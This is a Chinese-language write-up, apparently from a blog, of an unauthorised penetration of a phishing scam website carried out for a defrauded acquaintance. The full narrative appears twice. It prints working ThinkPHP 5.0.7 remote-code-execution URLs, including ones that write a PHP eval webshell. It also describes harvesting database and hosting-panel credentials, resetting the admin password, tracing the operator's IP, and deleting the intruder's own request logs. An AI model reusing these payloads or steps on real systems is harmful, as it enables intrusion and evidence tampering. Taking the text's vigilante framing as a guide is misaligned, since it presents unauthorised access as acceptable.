记一次对钓鱼诈骗网站的渗透测试
一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动
在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码:
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MySQL数据库账户
连接数据库:
查询后台管理员数据:
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧
结果不出所料:
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
同时也查阅了一下宝塔数据库中的log日志内容:
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/ 中找到了大量以json形式储存的请求信息
打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
在查询175.167.*.* 后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
完事收工
在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码:
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MySQL数据库账户
连接数据库:
查询后台管理员数据:
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧
结果不出所料:
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
同时也查阅了一下宝塔数据库中的log日志内容:
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/ 中找到了大量以json形式储存的请求信息
打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
在查询175.167.*.* 后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
完事收工